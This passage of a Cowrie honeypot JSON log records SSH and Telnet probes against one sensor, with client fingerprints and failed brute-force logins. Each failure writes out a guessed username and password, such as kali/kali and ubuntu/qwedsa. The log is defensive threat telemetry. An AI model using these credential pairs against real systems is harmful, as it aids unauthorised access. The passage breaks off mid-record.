{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51392,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ab453553d37","protocol":"ssh","message":"New connection: 122.168.114.167:51392 (159.203.135.109:22) [session: 2ab453553d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:35:59.108050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:03.581451Z","src_ip":"122.168.114.167","session":"2ab453553d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:03.585743Z","src_ip":"122.168.114.167","session":"2ab453553d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50932,"dst_ip":"159.203.135.109","dst_port":22,"session":"04769dee4a3d","protocol":"ssh","message":"New connection: 159.203.92.129:50932 (159.203.135.109:22) [session: 04769dee4a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:07.673193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:07.678013Z","src_ip":"159.203.92.129","session":"04769dee4a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:07.683086Z","src_ip":"159.203.92.129","session":"04769dee4a3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asus","password":"asus","message":"login attempt [asus/asus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:07.694273Z","src_ip":"159.203.92.129","session":"04769dee4a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:08.700537Z","src_ip":"159.203.92.129","session":"04769dee4a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.1.184.33","src_port":54400,"dst_ip":"10.17.0.5","dst_port":23,"session":"d80849428d79","protocol":"telnet","message":"New connection: 103.1.184.33:54400 (10.17.0.5:23) [session: d80849428d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:10.736647Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.1.184.33","src_port":54394,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e0165f88c6","protocol":"telnet","message":"New connection: 103.1.184.33:54394 (10.17.0.5:23) [session: b3e0165f88c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:15.632793Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.1.184.33","src_port":54428,"dst_ip":"10.17.0.5","dst_port":23,"session":"470b7523eb81","protocol":"telnet","message":"New connection: 103.1.184.33:54428 (10.17.0.5:23) [session: 470b7523eb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:15.792958Z"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:21.519124Z","src_ip":"122.168.114.167","session":"2ab453553d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.4","message":"Connection lost after 28.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:27.465116Z","src_ip":"122.168.114.167","session":"2ab453553d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":42646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f387fe1e2d0a","protocol":"ssh","message":"New connection: 103.182.132.154:42646 (159.203.135.109:22) [session: f387fe1e2d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:30.290585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:30.296017Z","src_ip":"103.182.132.154","session":"f387fe1e2d0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:30.510460Z","src_ip":"103.182.132.154","session":"f387fe1e2d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#321","message":"login attempt [ubuntu/ubuntu#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:31.397593Z","src_ip":"103.182.132.154","session":"f387fe1e2d0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:32.613628Z","src_ip":"103.182.132.154","session":"f387fe1e2d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53798,"dst_ip":"159.203.135.109","dst_port":22,"session":"74328c4ae9bc","protocol":"ssh","message":"New connection: 122.168.114.167:53798 (159.203.135.109:22) [session: 74328c4ae9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:41.594811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:45.279057Z","src_ip":"122.168.114.167","session":"74328c4ae9bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:45.283067Z","src_ip":"122.168.114.167","session":"74328c4ae9bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":44550,"dst_ip":"159.203.135.109","dst_port":22,"session":"31a36b4e85db","protocol":"ssh","message":"New connection: 159.223.45.177:44550 (159.203.135.109:22) [session: 31a36b4e85db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:45.736894Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":51220,"dst_ip":"159.203.135.109","dst_port":22,"session":"e63b306f3d00","protocol":"ssh","message":"New connection: 202.4.106.201:51220 (159.203.135.109:22) [session: e63b306f3d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:45.860482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:45.864719Z","src_ip":"202.4.106.201","session":"e63b306f3d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:46.138594Z","src_ip":"202.4.106.201","session":"e63b306f3d00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwedsa","message":"login attempt [ubuntu/qwedsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:47.304722Z","src_ip":"202.4.106.201","session":"e63b306f3d00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.768844604492188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:47.561689Z","src_ip":"103.1.184.33","session":"470b7523eb81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.934903621673584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:47.567563Z","src_ip":"103.1.184.33","session":"b3e0165f88c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:48.505383Z","src_ip":"159.223.45.177","session":"31a36b4e85db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:48.581442Z","src_ip":"202.4.106.201","session":"e63b306f3d00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44000,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c0786b3503d","protocol":"ssh","message":"New connection: 159.203.92.129:44000 (159.203.135.109:22) [session: 2c0786b3503d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:53.698751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:53.703902Z","src_ip":"159.203.92.129","session":"2c0786b3503d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:53.708981Z","src_ip":"159.203.92.129","session":"2c0786b3503d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asus","password":"asus123","message":"login attempt [asus/asus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:53.720841Z","src_ip":"159.203.92.129","session":"2c0786b3503d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:54.728406Z","src_ip":"159.203.92.129","session":"2c0786b3503d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:36:59.149811Z","src_ip":"122.168.114.167","session":"74328c4ae9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.5","message":"Connection lost after 22.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:04.109256Z","src_ip":"122.168.114.167","session":"74328c4ae9bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56208,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a2fa0bbc9b","protocol":"ssh","message":"New connection: 122.168.114.167:56208 (159.203.135.109:22) [session: c5a2fa0bbc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:19.357433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:22.485327Z","src_ip":"122.168.114.167","session":"c5a2fa0bbc9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:22.489649Z","src_ip":"122.168.114.167","session":"c5a2fa0bbc9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":34948,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c97f37010db","protocol":"ssh","message":"New connection: 103.182.132.154:34948 (159.203.135.109:22) [session: 8c97f37010db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:35.024841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:37:35.029731Z","src_ip":"103.182.132.154","session":"8c97f37010db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-s